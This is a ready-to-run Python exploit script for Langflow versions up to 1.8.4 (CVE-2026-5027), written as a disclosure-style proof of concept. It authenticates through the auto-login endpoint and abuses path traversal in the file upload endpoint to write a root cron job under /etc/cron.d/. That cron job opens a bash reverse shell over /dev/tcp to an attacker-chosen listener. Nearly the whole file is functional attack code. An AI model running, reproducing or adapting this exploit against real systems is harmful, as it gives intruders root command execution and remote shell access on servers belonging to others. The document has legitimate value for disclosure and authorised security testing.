# Exploit Title: Langflow  1.8.4 - Path Traversal to Remote Code Execution 
# Google Dork: N/A
# Date: 2026-07-20
# Exploit Author: cardosource
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: <= 1.8.4
# Tested on: Docker - Ubuntu 22.04 + Langflow 1.8.4
# CVE: CVE-2026-5027

"""
Langflow <= 1.8.4 - CVE-2026-5027
Path Traversal leading to Remote Code Execution (RCE)

The vulnerability allows an authenticated attacker to abuse a path traversal
in the file upload endpoint to write arbitrary files outside the intended
directory. By writing a cron job under /etc/cron.d/, arbitrary commands can
be executed with root privileges, resulting in Remote Code Execution.

The exploit:
1. Obtains an access token via the auto-login endpoint.
2. Abuses path traversal in the file upload endpoint.
3. Writes a malicious cron job to /etc/cron.d/.
4. Waits for cron to execute the reverse shell payload.
"""

import warnings
import requests
import sys
import time
import re
from typing import Optional, Tuple, Dict, Any
from pathlib import PurePosixPath


def create_config(
    target: str = "http://localhost:9013",
    lhost: str = "192.168.1.100",
    lport: int = 4444
) -> Dict[str, Any]:
    return {
        "target": target.rstrip('/'),
        "lhost": lhost,
        "lport": lport,
        "traversal_depth": 9,
        "endpoint": "/api/v2/files",
        "auth_endpoint": "/api/v1/auto_login"
    }




def create_session() -> requests.Session:
    session = requests.Session()
    session.verify = False
    return session


def authenticate(config: Dict[str, Any], session: requests.Session) -> Optional[str]:
    try:
        response = session.get(
            f"{config['target']}{config['auth_endpoint']}",
            timeout=10
        )
        if response.status_code == 200:
            return response.json().get("access_token")
    except (requests.RequestException, KeyError, ValueError):
        pass
    return None

def sanitize_hostname(host: str) -> str:
    return re.sub(r"[^A-Za-z0-9_-]", "_", host)


def generate_timestamp() -> str:
    return time.strftime("%Y%m%d%H%M%S")


def build_cron_path(lhost: str, lport: int) -> str:

    timestamp = generate_timestamp()
    safe_host = sanitize_hostname(lhost)
    return f"/etc/cron.d/langflow_{safe_host}_{lport}_{timestamp}_."


def build_traversal_path(remote_path: str, depth: int = 9) -> str:
    path = PurePosixPath(remote_path)
    return "../" * depth + str(path).lstrip("/")


def build_cron_content(lhost: str, lport: int) -> str:
    return f"""SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
"""

def upload_file(
    config: Dict[str, Any],
    session: requests.Session,
    token: str,
    remote_path: str,
    content: bytes
) -> Tuple[bool, Optional[Dict[str, Any]]]:
    filename = build_traversal_path(remote_path, config['traversal_depth'])
    headers = {"Authorization": f"Bearer {token}"}
    files = {'file': (filename, content, 'application/octet-stream')}
    
    try:
        response = session.post(
            f"{config['target']}{config['endpoint']}",
            headers=headers,
            files=files,
            timeout=15
        )
        if response.status_code in (200, 201):
            return True, response.json()
    except requests.RequestException:
        pass
    return False, None


def deploy_reverse_shell(
    config: Dict[str, Any],
    session: requests.Session,
    token: str
) -> Tuple[bool, str]:
    cron_path = build_cron_path(config['lhost'], config['lport'])
    cron_content = build_cron_content(config['lhost'], config['lport'])
    
    success, response_data = upload_file(
        config, session, token, cron_path, cron_content.encode()
    )
    
    if success:
        return True, cron_path
    return False, cron_path


def print_success(lhost: str, lport: int, cron_path: str) -> None:
    print(f"[+] Cron job deployed to {cron_path}")
    print(f"[+] Reverse shell incoming on {lhost}:{lport}")

def print_failure(message: str = "Exploit failed") -> None:
    print(f"[-] {message}")


def print_token(token: str) -> None:
    print(f"[+] Token obtained: {token[:40]}...")


def print_config(config: Dict[str, Any]) -> None:
    print(f"[*] Target: {config['target']}")
    print(f"[*] Listener: {config['lhost']}:{config['lport']}")

def validate_config(config: Dict[str, Any]) -> bool:
    if not config['target'].startswith(("http://", "https://")):
        print_failure("Target must start with http:// or https://")
        return False
    if config['lport'] < 1 or config['lport'] > 65535:
        print_failure("Port must be between 1 and 65535")
        return False
    if config['traversal_depth'] < 1:
        print_failure("Traversal depth must be at least 1")
        return False
    return True


def authenticate_pipeline(config: Dict[str, Any]) -> Tuple[bool, Optional[str], requests.Session]:
    session = create_session()
    print("[*] Authenticating...")
    token = authenticate(config, session)
    
    if not token:
        session.close()
        return False, None, session
    
    print_token(token)
    return True, token, session


def deploy_pipeline(config: Dict[str, Any], session: requests.Session, token: str) -> bool:
    print("[*] Deploying reverse shell...")
    success, cron_path = deploy_reverse_shell(config, session, token)
    if success:
        print_success(config['lhost'], config['lport'], cron_path)
        return True
    
    print_failure()
    return False


def exploit(
    target: str = "http://localhost:9013",
    lhost: str = "192.168.1.38",
    lport: int = 4444
) -> None:
    config = create_config(target, lhost, lport)
    print_config(config)
    
    if not validate_config(config):
        sys.exit(1)
    
    success, token, session = authenticate_pipeline(config)
    if not success:
        sys.exit(1)
    
    try:
        if not deploy_pipeline(config, session, token):
            sys.exit(1)
    finally:
        session.close()
    
    print("[+] Exploit completed successfully")


if __name__ == "__main__":
    exploit()